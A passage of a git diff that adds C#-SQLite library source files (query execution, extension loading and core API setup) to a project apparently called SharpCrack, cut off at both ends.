42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + + //#include "sqliteInt.h" + + /* + ** Execute SQL code. Return one of the SQLITE_ success/failure + ** codes. Also write an error message into memory obtained from + ** malloc() and make pzErrMsg point to that message. + ** + ** If the SQL is a query, then for each row in the query result + ** the xCallback() function is called. pArg becomes the first + ** argument to xCallback(). If xCallback=NULL then no callback + ** is invoked, even for queries. + */ + //C# Alias + static public int exec( sqlite3 db, /* The database on which the SQL executes */ string zSql, /* The SQL to be executed */ int NoCallback, int NoArgs, int NoErrors ) + { + string Errors = ""; + return sqlite3_exec( db, zSql, null, null, ref Errors ); + } + + static public int exec( sqlite3 db, /* The database on which the SQL executes */ string zSql, /* The SQL to be executed */ sqlite3_callback xCallback, /* Invoke this callback routine */ object pArg, /* First argument to xCallback() */ int NoErrors ) + { + string Errors = ""; + return sqlite3_exec( db, zSql, xCallback, pArg, ref Errors ); + } + static public int exec( sqlite3 db, /* The database on which the SQL executes */ string zSql, /* The SQL to be executed */ sqlite3_callback xCallback, /* Invoke this callback routine */ object pArg, /* First argument to xCallback() */ ref string pzErrMsg /* Write error messages here */) + { + return sqlite3_exec( db, zSql, xCallback, pArg, ref pzErrMsg ); + } + + //OVERLOADS + static public int sqlite3_exec( + sqlite3 db, /* The database on which the SQL executes */ + string zSql, /* The SQL to be executed */ + int NoCallback, int NoArgs, int NoErrors + ) + { + string Errors = ""; + return sqlite3_exec( db, zSql, null, null, ref Errors ); + } + + static public int sqlite3_exec( + sqlite3 db, /* The database on which the SQL executes */ + string zSql, /* The SQL to be executed */ + sqlite3_callback xCallback, /* Invoke this callback routine */ + object pArg, /* First argument to xCallback() */ + int NoErrors + ) + { + string Errors = ""; + return sqlite3_exec( db, zSql, xCallback, pArg, ref Errors ); + } + static public int sqlite3_exec( + sqlite3 db, /* The database on which the SQL executes */ + string zSql, /* The SQL to be executed */ + sqlite3_callback xCallback, /* Invoke this callback routine */ + object pArg, /* First argument to xCallback() */ + ref string pzErrMsg /* Write error messages here */ + ) + { + + int rc = SQLITE_OK; /* Return code */ + string zLeftover = ""; /* Tail of unprocessed SQL */ + sqlite3_stmt pStmt = null; /* The current SQL statement */ + string[] azCols = null; /* Names of result columns */ + int nRetry = 0; /* Number of retry attempts */ + int callbackIsInit; /* True if callback data is initialized */ + + if ( !sqlite3SafetyCheckOk( db ) ) + return SQLITE_MISUSE_BKPT(); + + if ( zSql == null ) + zSql = ""; + + sqlite3_mutex_enter( db.mutex ); + sqlite3Error( db, SQLITE_OK, 0 ); + while ( ( rc == SQLITE_OK || ( rc == SQLITE_SCHEMA && ( ++nRetry ) < 2 ) ) && zSql != "" ) + { + int nCol; + string[] azVals = null; + + pStmt = null; + rc = sqlite3_prepare( db, zSql, -1, ref pStmt, ref zLeftover ); + Debug.Assert( rc == SQLITE_OK || pStmt == null ); + if ( rc != SQLITE_OK ) + { + continue; + } + if ( pStmt == null ) + { + /* this happens for a comment or white-space */ + zSql = zLeftover; + continue; + } + + callbackIsInit = 0; + nCol = sqlite3_column_count( pStmt ); + + while ( true ) + { + int i; + rc = sqlite3_step( pStmt ); + + /* Invoke the callback function if required */ + if ( xCallback != null && ( SQLITE_ROW == rc || + ( SQLITE_DONE == rc && callbackIsInit == 0 + && ( db.flags & SQLITE_NullCallback ) != 0 ) ) ) + { + if ( 0 == callbackIsInit ) + { + azCols = new string[nCol];//sqlite3DbMallocZero(db, 2*nCol*sizeof(const char*) + 1); + //if ( azCols == null ) + //{ + // goto exec_out; + //} + for ( i = 0; i < nCol; i++ ) + { + azCols[i] = sqlite3_column_name( pStmt, i ); + /* sqlite3VdbeSetColName() installs column names as UTF8 + ** strings so there is no way for sqlite3_column_name() to fail. */ + Debug.Assert( azCols[i] != null ); + } + callbackIsInit = 1; + } + if ( rc == SQLITE_ROW ) + { + azVals = new string[nCol];// azCols[nCol]; + for ( i = 0; i < nCol; i++ ) + { + azVals[i] = sqlite3_column_text( pStmt, i ); + if ( azVals[i] == null && sqlite3_column_type( pStmt, i ) != SQLITE_NULL ) + { + //db.mallocFailed = 1; + //goto exec_out; + } + } + } + if ( xCallback( pArg, nCol, azVals, azCols ) != 0 ) + { + rc = SQLITE_ABORT; + sqlite3VdbeFinalize( ref pStmt ); + pStmt = null; + sqlite3Error( db, SQLITE_ABORT, 0 ); + goto exec_out; + } + } + + if ( rc != SQLITE_ROW ) + { + rc = sqlite3VdbeFinalize( ref pStmt ); + pStmt = null; + if ( rc != SQLITE_SCHEMA ) + { + nRetry = 0; + if ( ( zSql = zLeftover ) != "" ) + { + int zindex = 0; + while ( zindex < zSql.Length && sqlite3Isspace( zSql[zindex] ) ) + zindex++; + if ( zindex != 0 ) + zSql = zindex < zSql.Length ? zSql.Substring( zindex ) : ""; + } + } + break; + } + } + + sqlite3DbFree( db, ref azCols ); + azCols = null; + } + +exec_out: + if ( pStmt != null ) + sqlite3VdbeFinalize( ref pStmt ); + sqlite3DbFree( db, ref azCols ); + + rc = sqlite3ApiExit( db, rc ); + if ( rc != SQLITE_OK && ALWAYS( rc == sqlite3_errcode( db ) ) && pzErrMsg != null ) + { + //int nErrMsg = 1 + sqlite3Strlen30(sqlite3_errmsg(db)); + //pzErrMsg = sqlite3Malloc(nErrMsg); + //if (pzErrMsg) + //{ + // memcpy(pzErrMsg, sqlite3_errmsg(db), nErrMsg); + //}else{ + //rc = SQLITE_NOMEM; + //sqlite3Error(db, SQLITE_NOMEM, 0); + //} + // suppressing some partial indexing error message stuff + // -@harmj0y + pzErrMsg = sqlite3_errmsg( db ); + } + else if ( pzErrMsg != "" ) + { + pzErrMsg = ""; + } + + Debug.Assert( ( rc & db.errMask ) == rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/loadext_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/loadext_c.cs new file mode 100644 index 0000000..55ca5c0 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/loadext_c.cs @@ -0,0 +1,744 @@ +using System; +using System.Diagnostics; +using HANDLE = System.IntPtr; +using System.Text; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2006 June 7 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code used to dynamically load extensions into + ** the SQLite library. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-05-19 13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e + ** + ************************************************************************* + */ +#if !SQLITE_CORE + //#define SQLITE_CORE 1 /* Disable the API redefinition in sqlite3ext.h */ + const int SQLITE_CORE = 1; +#endif + //#include "sqlite3ext.h" + //#include "sqliteInt.h" + //#include + +#if !SQLITE_OMIT_LOAD_EXTENSION + + /* +** Some API routines are omitted when various features are +** excluded from a build of SQLite. Substitute a NULL pointer +** for any missing APIs. +*/ +#if !SQLITE_ENABLE_COLUMN_METADATA + //# define sqlite3_column_database_name 0 + //# define sqlite3_column_database_name16 0 + //# define sqlite3_column_table_name 0 + //# define sqlite3_column_table_name16 0 + //# define sqlite3_column_origin_name 0 + //# define sqlite3_column_origin_name16 0 + //# define sqlite3_table_column_metadata 0 +#endif + +//#if SQLITE_OMIT_AUTHORIZATION + //# define sqlite3_set_authorizer 0 +//#endif + +#if !NO_SQLITE_OMIT_UTF16 + //# define sqlite3_bind_text16 0 + //# define sqlite3_collation_needed16 0 + //# define sqlite3_column_decltype16 0 + //# define sqlite3_column_name16 0 + //# define sqlite3_column_text16 0 + //# define sqlite3_complete16 0 + //# define sqlite3_create_collation16 0 + //# define sqlite3_create_function16 0 + //# define sqlite3_errmsg16 0 + static string sqlite3_errmsg16( sqlite3 db ) + { + return ""; + } + //# define sqlite3_open16 0 + //# define sqlite3_prepare16 0 + //# define sqlite3_prepare16_v2 0 + //# define sqlite3_result_error16 0 + //# define sqlite3_result_text16 0 + static void sqlite3_result_text16( sqlite3_context pCtx, string z, int n, dxDel xDel ) + { + } + //# define sqlite3_result_text16be 0 + //# define sqlite3_result_text16le 0 + //# define sqlite3_value_text16 0 + //# define sqlite3_value_text16be 0 + //# define sqlite3_value_text16le 0 + //# define sqlite3_column_database_name16 0 + //# define sqlite3_column_table_name16 0 + //# define sqlite3_column_origin_name16 0 +#endif + +#if SQLITE_OMIT_COMPLETE +//# define sqlite3_complete 0 +//# define sqlite3_complete16 0 +#endif + +#if SQLITE_OMIT_DECLTYPE +//# define sqlite3_column_decltype16 0 +//# define sqlite3_column_decltype 0 +#endif + +#if SQLITE_OMIT_PROGRESS_CALLBACK +//# define sqlite3_progress_handler 0 +static void sqlite3_progress_handler (sqlite3 db, int nOps, dxProgress xProgress, object pArg){} +#endif + +#if SQLITE_OMIT_VIRTUALTABLE + //# define sqlite3_create_module 0 + //# define sqlite3_create_module_v2 0 + //# define sqlite3_declare_vtab 0 +#endif + +//#if SQLITE_OMIT_SHARED_CACHE + //# define sqlite3_enable_shared_cache 0 +//#endif + +#if SQLITE_OMIT_TRACE +//# define sqlite3_profile 0 +//# define sqlite3_trace 0 +#endif + +#if !NO_SQLITE_OMIT_GET_TABLE + //# define //sqlite3_free_table 0 + //# define sqlite3_get_table 0 + static public int sqlite3_get_table( + sqlite3 db, /* An open database */ + string zSql, /* SQL to be evaluated */ + ref string[] pazResult, /* Results of the query */ + ref int pnRow, /* Number of result rows written here */ + ref int pnColumn, /* Number of result columns written here */ + ref string pzErrmsg /* Error msg written here */ + ) + { + return 0; + } +#endif + +//#if SQLITE_OMIT_INCRBLOB + //#define sqlite3_bind_zeroblob 0 + //#define sqlite3_blob_bytes 0 + //#define sqlite3_blob_close 0 + //#define sqlite3_blob_open 0 + //#define sqlite3_blob_read 0 + //#define sqlite3_blob_write 0 +//#endif + + /* +** The following structure contains pointers to all SQLite API routines. +** A pointer to this structure is passed into extensions when they are +** loaded so that the extension can make calls back into the SQLite +** library. +** +** When adding new APIs, add them to the bottom of this structure +** in order to preserve backwards compatibility. +** +** Extensions that use newer APIs should first call the +** sqlite3_libversion_number() to make sure that the API they +** intend to use is supported by the library. Extensions should +** also check to make sure that the pointer to the function is +** not NULL before calling it. +*/ + public class sqlite3_api_routines + { + public sqlite3 context_db_handle; + }; + + static sqlite3_api_routines sqlite3Apis = new sqlite3_api_routines(); + //{ + // sqlite3_aggregate_context, +#if NOT_SQLITE_OMIT_DEPRECATED //#if !SQLITE_OMIT_DEPRECATED + / sqlite3_aggregate_count, +#else + // 0, +#endif + // sqlite3_bind_blob, + // sqlite3_bind_double, + // sqlite3_bind_int, + // sqlite3_bind_int64, + // sqlite3_bind_null, + // sqlite3_bind_parameter_count, + // sqlite3_bind_parameter_index, + // sqlite3_bind_parameter_name, + // sqlite3_bind_text, + // sqlite3_bind_text16, + // sqlite3_bind_value, + // sqlite3_busy_handler, + // sqlite3_busy_timeout, + // sqlite3_changes, + // sqlite3_close, + // sqlite3_collation_needed, + // sqlite3_collation_needed16, + // sqlite3_column_blob, + // sqlite3_column_bytes, + // sqlite3_column_bytes16, + // sqlite3_column_count, + // sqlite3_column_database_name, + // sqlite3_column_database_name16, + // sqlite3_column_decltype, + // sqlite3_column_decltype16, + // sqlite3_column_double, + // sqlite3_column_int, + // sqlite3_column_int64, + // sqlite3_column_name, + // sqlite3_column_name16, + // sqlite3_column_origin_name, + // sqlite3_column_origin_name16, + // sqlite3_column_table_name, + // sqlite3_column_table_name16, + // sqlite3_column_text, + // sqlite3_column_text16, + // sqlite3_column_type, + // sqlite3_column_value, + // sqlite3_commit_hook, + // sqlite3_complete, + // sqlite3_complete16, + // sqlite3_create_collation, + // sqlite3_create_collation16, + // sqlite3_create_function, + // sqlite3_create_function16, + // sqlite3_create_module, + // sqlite3_data_count, + // sqlite3_db_handle, + // sqlite3_declare_vtab, + // sqlite3_enable_shared_cache, + // sqlite3_errcode, + // sqlite3_errmsg, + // sqlite3_errmsg16, + // sqlite3_exec, +#if NOT_SQLITE_OMIT_DEPRECATED //#if !SQLITE_OMIT_DEPRECATED + //sqlite3_expired, +#else + //0, +#endif + // sqlite3_finalize, + // //sqlite3_free, + // //sqlite3_free_table, + // sqlite3_get_autocommit, + // sqlite3_get_auxdata, + // sqlite3_get_table, + // 0, /* Was sqlite3_global_recover(), but that function is deprecated */ + // sqlite3_interrupt, + // sqlite3_last_insert_rowid, + // sqlite3_libversion, + // sqlite3_libversion_number, + // sqlite3_malloc, + // sqlite3_mprintf, + // sqlite3_open, + // sqlite3_open16, + // sqlite3_prepare, + // sqlite3_prepare16, + // sqlite3_profile, + // sqlite3_progress_handler, + // sqlite3_realloc, + // sqlite3_reset, + // sqlite3_result_blob, + // sqlite3_result_double, + // sqlite3_result_error, + // sqlite3_result_error16, + // sqlite3_result_int, + // sqlite3_result_int64, + // sqlite3_result_null, + // sqlite3_result_text, + // sqlite3_result_text16, + // sqlite3_result_text16be, + // sqlite3_result_text16le, + // sqlite3_result_value, + // sqlite3_rollback_hook, + // sqlite3_set_authorizer, + // sqlite3_set_auxdata, + // sqlite3_snprintf, + // sqlite3_step, + // sqlite3_table_column_metadata, +#if NOT_SQLITE_OMIT_DEPRECATED //#if !SQLITE_OMIT_DEPRECATED + //sqlite3_thread_cleanup, +#else + // 0, +#endif + // sqlite3_total_changes, + // sqlite3_trace, +#if NOT_SQLITE_OMIT_DEPRECATED //#if !SQLITE_OMIT_DEPRECATED + //sqlite3_transfer_bindings, +#else + // 0, +#endif + // sqlite3_update_hook, + // sqlite3_user_data, + // sqlite3_value_blob, + // sqlite3_value_bytes, + // sqlite3_value_bytes16, + // sqlite3_value_double, + // sqlite3_value_int, + // sqlite3_value_int64, + // sqlite3_value_numeric_type, + // sqlite3_value_text, + // sqlite3_value_text16, + // sqlite3_value_text16be, + // sqlite3_value_text16le, + // sqlite3_value_type, + // sqlite3_vmprintf, + // /* + // ** The original API set ends here. All extensions can call any + // ** of the APIs above provided that the pointer is not NULL. But + // ** before calling APIs that follow, extension should check the + // ** sqlite3_libversion_number() to make sure they are dealing with + // ** a library that is new enough to support that API. + // ************************************************************************* + // */ + // sqlite3_overload_function, + + // /* + // ** Added after 3.3.13 + // */ + // sqlite3_prepare_v2, + // sqlite3_prepare16_v2, + // sqlite3_clear_bindings, + + // /* + // ** Added for 3.4.1 + // */ + // sqlite3_create_module_v2, + + // /* + // ** Added for 3.5.0 + // */ + // sqlite3_bind_zeroblob, + // sqlite3_blob_bytes, + // sqlite3_blob_close, + // sqlite3_blob_open, + // sqlite3_blob_read, + // sqlite3_blob_write, + // sqlite3_create_collation_v2, + // sqlite3_file_control, + // sqlite3_memory_highwater, + // sqlite3_memory_used, +#if SQLITE_MUTEX_OMIT + // 0, + // 0, + // 0, + // 0, + // 0, +#else +// sqlite3MutexAlloc, +// sqlite3_mutex_enter, +// sqlite3_mutex_free, +// sqlite3_mutex_leave, +// sqlite3_mutex_try, +#endif + // sqlite3_open_v2, + // sqlite3_release_memory, + // sqlite3_result_error_nomem, + // sqlite3_result_error_toobig, + // sqlite3_sleep, + // sqlite3_soft_heap_limit, + // sqlite3_vfs_find, + // sqlite3_vfs_register, + // sqlite3_vfs_unregister, + + // /* + // ** Added for 3.5.8 + // */ + // sqlite3_threadsafe, + // sqlite3_result_zeroblob, + // sqlite3_result_error_code, + // sqlite3_test_control, + // sqlite3_randomness, + // sqlite3_context_db_handle, + + // /* + // ** Added for 3.6.0 + // */ + // sqlite3_extended_result_codes, + // sqlite3_limit, + // sqlite3_next_stmt, + // sqlite3_sql, + // sqlite3_status, + + // /* + // ** Added for 3.7.4 + // */ + // sqlite3_backup_finish, + // sqlite3_backup_init, + // sqlite3_backup_pagecount, + // sqlite3_backup_remaining, + // sqlite3_backup_step, + //#if !SQLITE_OMIT_COMPILEOPTION_DIAGS + // sqlite3_compileoption_get, + // sqlite3_compileoption_used, + //#else + // 0, + // 0, + //#endif + // sqlite3_create_function_v2, + // sqlite3_db_config, + // sqlite3_db_mutex, + // sqlite3_db_status, + // sqlite3_extended_errcode, + // sqlite3_log, + // sqlite3_soft_heap_limit64, + // sqlite3_sourceid, + // sqlite3_stmt_status, + // sqlite3_strnicmp, + //#if SQLITE_ENABLE_UNLOCK_NOTIFY + // sqlite3_unlock_notify, + //#else + // 0, + //#endif + //#if !SQLITE_OMIT_WAL + // sqlite3_wal_autocheckpoint, + // sqlite3_wal_checkpoint, + // sqlite3_wal_hook, + //#else + // 0, + // 0, + // 0, + //#endif + //}; + + /* + ** Attempt to load an SQLite extension library contained in the file + ** zFile. The entry point is zProc. zProc may be 0 in which case a + ** default entry point name (sqlite3_extension_init) is used. Use + ** of the default name is recommended. + ** + ** Return SQLITE_OK on success and SQLITE_ERROR if something goes wrong. + ** + ** If an error occurs and pzErrMsg is not 0, then fill pzErrMsg with + ** error message text. The calling function should free this memory + ** by calling sqlite3DbFree(db, ). + */ + static int sqlite3LoadExtension( + sqlite3 db, /* Load the extension into this database connection */ + string zFile, /* Name of the shared library containing extension */ + string zProc, /* Entry point. Use "sqlite3_extension_init" if 0 */ + ref string pzErrMsg /* Put error message here if not 0 */ + ) + { + sqlite3_vfs pVfs = db.pVfs; + HANDLE handle; + dxInit xInit; //int (*xInit)(sqlite3*,char**,const sqlite3_api_routines); + StringBuilder zErrmsg = new StringBuilder( 100 ); + //object aHandle; + const int nMsg = 300; + if ( pzErrMsg != null ) + pzErrMsg = null; + + + /* Ticket #1863. To avoid a creating security problems for older + ** applications that relink against newer versions of SQLite, the + ** ability to run load_extension is turned off by default. One + ** must call sqlite3_enable_load_extension() to turn on extension + ** loading. Otherwise you get the following error. + */ + if ( ( db.flags & SQLITE_LoadExtension ) == 0 ) + { + //if( pzErrMsg != null){ + pzErrMsg = sqlite3_mprintf( "not authorized" ); + //} + return SQLITE_ERROR; + } + + if ( zProc == null || zProc == "" ) + { + zProc = "sqlite3_extension_init"; + } + + handle = sqlite3OsDlOpen( pVfs, zFile ); + if ( handle == IntPtr.Zero ) + { + // if( pzErrMsg ){ + pzErrMsg = "";//*pzErrMsg = zErrmsg = sqlite3_malloc(nMsg); + //if( zErrmsg !=null){ + sqlite3_snprintf( nMsg, zErrmsg, + "unable to open shared library [%s]", zFile ); + sqlite3OsDlError( pVfs, nMsg - 1, zErrmsg.ToString() ); + return SQLITE_ERROR; + } + //xInit = (int()(sqlite3*,char**,const sqlite3_api_routines)) + // sqlite3OsDlSym(pVfs, handle, zProc); + xInit = (dxInit)sqlite3OsDlSym( pVfs, handle, ref zProc ); + Debugger.Break(); // TODO -- + //if( xInit==0 ){ + // if( pzErrMsg ){ + // *pzErrMsg = zErrmsg = sqlite3_malloc(nMsg); + // if( zErrmsg ){ + // sqlite3_snprintf(nMsg, zErrmsg, + // "no entry point [%s] in shared library [%s]", zProc,zFile); + // sqlite3OsDlError(pVfs, nMsg-1, zErrmsg); + // } + // sqlite3OsDlClose(pVfs, handle); + // } + // return SQLITE_ERROR; + // }else if( xInit(db, ref zErrmsg, sqlite3Apis) ){ + //// if( pzErrMsg !=null){ + // pzErrMsg = sqlite3_mprintf("error during initialization: %s", zErrmsg); + // //} + // sqlite3DbFree(db,ref zErrmsg); + // sqlite3OsDlClose(pVfs, ref handle); + // return SQLITE_ERROR; + // } + + // /* Append the new shared library handle to the db.aExtension array. */ + // aHandle = sqlite3DbMallocZero(db, sizeof(handle)*db.nExtension+1); + // if( aHandle==null ){ + // return SQLITE_NOMEM; + // } + // if( db.nExtension>0 ){ + // memcpy(aHandle, db.aExtension, sizeof(handle)*(db.nExtension)); + // } + // sqlite3DbFree(db,ref db.aExtension); + // db.aExtension = aHandle; + + // db.aExtension[db.nExtension++] = handle; + return SQLITE_OK; + } + + static public int sqlite3_load_extension( + sqlite3 db, /* Load the extension into this database connection */ + string zFile, /* Name of the shared library containing extension */ + string zProc, /* Entry point. Use "sqlite3_extension_init" if 0 */ + ref string pzErrMsg /* Put error message here if not 0 */ + ) + { + int rc; + sqlite3_mutex_enter( db.mutex ); + rc = sqlite3LoadExtension( db, zFile, zProc, ref pzErrMsg ); + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + + /* + ** Call this routine when the database connection is closing in order + ** to clean up loaded extensions + */ + static void sqlite3CloseExtensions( sqlite3 db ) + { + int i; + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + for ( i = 0; i < db.nExtension; i++ ) + { + sqlite3OsDlClose( db.pVfs, (HANDLE)db.aExtension[i] ); + } + sqlite3DbFree( db, ref db.aExtension ); + } + + /* + ** Enable or disable extension loading. Extension loading is disabled by + ** default so as not to open security holes in older applications. + */ + static public int sqlite3_enable_load_extension( sqlite3 db, int onoff ) + { + sqlite3_mutex_enter( db.mutex ); + if ( onoff != 0 ) + { + db.flags |= SQLITE_LoadExtension; + } + else + { + db.flags &= ~SQLITE_LoadExtension; + } + sqlite3_mutex_leave( db.mutex ); + return SQLITE_OK; + } + +#endif //* SQLITE_OMIT_LOAD_EXTENSION */ + + /* +** The auto-extension code added regardless of whether or not extension +** loading is supported. We need a dummy sqlite3Apis pointer for that +** code if regular extension loading is not available. This is that +** dummy pointer. +*/ +#if SQLITE_OMIT_LOAD_EXTENSION +const sqlite3_api_routines sqlite3Apis = null; +#endif + + + /* +** The following object holds the list of automatically loaded +** extensions. +** +** This list is shared across threads. The SQLITE_MUTEX_STATIC_MASTER +** mutex must be held while accessing this list. +*/ + //typedef struct sqlite3AutoExtList sqlite3AutoExtList; + public class sqlite3AutoExtList + { + public int nExt = 0; /* Number of entries in aExt[] */ + public dxInit[] aExt = null; /* Pointers to the extension init functions */ + public sqlite3AutoExtList( int nExt, dxInit[] aExt ) + { + this.nExt = nExt; + this.aExt = aExt; + } + } + static sqlite3AutoExtList sqlite3Autoext = new sqlite3AutoExtList( 0, null ); + /* The "wsdAutoext" macro will resolve to the autoextension + ** state vector. If writable static data is unsupported on the target, + ** we have to locate the state vector at run-time. In the more common + ** case where writable static data is supported, wsdStat can refer directly + ** to the "sqlite3Autoext" state vector declared above. + */ +#if SQLITE_OMIT_WSD +//# define wsdAutoextInit \ +sqlite3AutoExtList *x = &GLOBAL(sqlite3AutoExtList,sqlite3Autoext) +//# define wsdAutoext x[0] +#else + //# define wsdAutoextInit + static void wsdAutoextInit() + { + } + //# define wsdAutoext sqlite3Autoext + static sqlite3AutoExtList wsdAutoext = sqlite3Autoext; +#endif + + /* +** Register a statically linked extension that is automatically +** loaded by every new database connection. +*/ + static int sqlite3_auto_extension( dxInit xInit ) + { + int rc = SQLITE_OK; +#if !SQLITE_OMIT_AUTOINIT + rc = sqlite3_initialize(); + if ( rc != 0 ) + { + return rc; + } + else +#endif + { + int i; +#if SQLITE_THREADSAFE + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#else + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#endif + wsdAutoextInit(); + sqlite3_mutex_enter( mutex ); + for ( i = 0; i < wsdAutoext.nExt; i++ ) + { + if ( wsdAutoext.aExt[i] == xInit ) + break; + } + //if( i==wsdAutoext.nExt ){ + // int nByte = (wsdAutoext.nExt+1)*sizeof(wsdAutoext.aExt[0]); + // void **aNew; + // aNew = sqlite3_realloc(wsdAutoext.aExt, nByte); + // if( aNew==0 ){ + // rc = SQLITE_NOMEM; + // }else{ + Array.Resize( ref wsdAutoext.aExt, wsdAutoext.nExt + 1 );// wsdAutoext.aExt = aNew; + wsdAutoext.aExt[wsdAutoext.nExt] = xInit; + wsdAutoext.nExt++; + //} + sqlite3_mutex_leave( mutex ); + Debug.Assert( ( rc & 0xff ) == rc ); + return rc; + } + } + + /* + ** Reset the automatic extension loading mechanism. + */ + static void sqlite3_reset_auto_extension() + { +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() == SQLITE_OK ) +#endif + { +#if SQLITE_THREADSAFE + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#else + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#endif + wsdAutoextInit(); + sqlite3_mutex_enter( mutex ); +#if SQLITE_OMIT_WSD +//sqlite3_free( ref wsdAutoext.aExt ); +wsdAutoext.aExt = null; +wsdAutoext.nExt = 0; +#else + //sqlite3_free( ref sqlite3Autoext.aExt ); + sqlite3Autoext.aExt = null; + sqlite3Autoext.nExt = 0; +#endif + sqlite3_mutex_leave( mutex ); + } + } + + /* + ** Load all automatic extensions. + ** + ** If anything goes wrong, set an error in the database connection. + */ + static void sqlite3AutoLoadExtensions( sqlite3 db ) + { + int i; + bool go = true; + dxInit xInit;//)(sqlite3*,char**,const sqlite3_api_routines); + + wsdAutoextInit(); +#if SQLITE_OMIT_WSD +if ( wsdAutoext.nExt == 0 ) +#else + if ( sqlite3Autoext.nExt == 0 ) +#endif + { + /* Common case: early out without every having to acquire a mutex */ + return; + } + for ( i = 0; go; i++ ) + { + string zErrmsg = ""; +#if SQLITE_THREADSAFE + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#else + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#endif + sqlite3_mutex_enter( mutex ); + if ( i >= wsdAutoext.nExt ) + { + xInit = null; + go = false; + } + else + { + xInit = (dxInit) + wsdAutoext.aExt[i]; + } + sqlite3_mutex_leave( mutex ); + zErrmsg = ""; + if ( xInit != null && xInit( db, ref zErrmsg, (sqlite3_api_routines)sqlite3Apis ) != 0 ) + { + sqlite3Error( db, SQLITE_ERROR, + "automatic extension loading failed: %s", zErrmsg ); + go = false; + } + sqlite3DbFree( db, ref zErrmsg ); + } + } + } +} + diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/main_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/main_c.cs new file mode 100644 index 0000000..6d8a5b3 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/main_c.cs @@ -0,0 +1,3445 @@ +using System; +using System.Diagnostics; +using System.Text; + +using sqlite_int64 = System.Int64; +using unsigned = System.Int32; + +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; + +using Pgno = System.UInt32; +using sqlite3_int64 = System.Int64; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** Main file for the SQLite library. The routines in this file + ** implement the programmer interface to the library. Routines in + ** other files are for internal use by SQLite and should not be + ** accessed by users of the library. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" +#if SQLITE_ENABLE_FTS3 +//# include "fts3.h" +#endif +#if SQLITE_ENABLE_RTREE +//# include "rtree.h" +#endif +#if SQLITE_ENABLE_ICU +//# include "sqliteicu.h" +#endif + +#if !SQLITE_AMALGAMATION + /* IMPLEMENTATION-OF: R-46656-45156 The sqlite3_version[] string constant +** contains the text of SQLITE_VERSION macro. +*/ + public static string sqlite3_version = SQLITE_VERSION; +#endif + + /* IMPLEMENTATION-OF: R-53536-42575 The sqlite3_libversion() function returns +** a pointer to the to the sqlite3_version[] string constant. +*/ + public static string sqlite3_libversion() + { + return sqlite3_version; + } + + /* IMPLEMENTATION-OF: R-63124-39300 The sqlite3_sourceid() function returns a + ** pointer to a string constant whose value is the same as the + ** SQLITE_SOURCE_ID C preprocessor macro. + */ + public static string sqlite3_sourceid() + { + return SQLITE_SOURCE_ID; + } + + /* IMPLEMENTATION-OF: R-35210-63508 The sqlite3_libversion_number() function + ** returns an integer equal to SQLITE_VERSION_NUMBER. + */ + public static int sqlite3_libversion_number() + { + return SQLITE_VERSION_NUMBER; + } + + /* IMPLEMENTATION-OF: R-54823-41343 The sqlite3_threadsafe() function returns + ** zero if and only if SQLite was compiled mutexing code omitted due to + ** the SQLITE_THREADSAFE compile-time option being set to 0. + */ + public static int sqlite3_threadsafe() + { + return SQLITE_THREADSAFE; + } + +#if !SQLITE_OMIT_TRACE && SQLITE_ENABLE_IOTRACE +/* +** If the following function pointer is not NULL and if +** SQLITE_ENABLE_IOTRACE is enabled, then messages describing +** I/O active are written using this function. These messages +** are intended for debugging activity only. +*/ +//void (*sqlite3IoTrace)(const char*, ...) = 0; +static void sqlite3IoTrace( string X, params object[] ap ) { } +#endif + + /* +** If the following global variable points to a string which is the +** name of a directory, then that directory will be used to store +** temporary files. +** +** See also the "PRAGMA temp_store_directory" SQL command. +*/ + static string sqlite3_temp_directory = "";//string sqlite3_temp_directory = 0; + + /* + ** Initialize SQLite. + ** + ** This routine must be called to initialize the memory allocation, + ** VFS, and mutex subsystems prior to doing any serious work with + ** SQLite. But as long as you do not compile with SQLITE_OMIT_AUTOINIT + ** this routine will be called automatically by key routines such as + ** sqlite3_open(). + ** + ** This routine is a no-op except on its very first call for the process, + ** or for the first call after 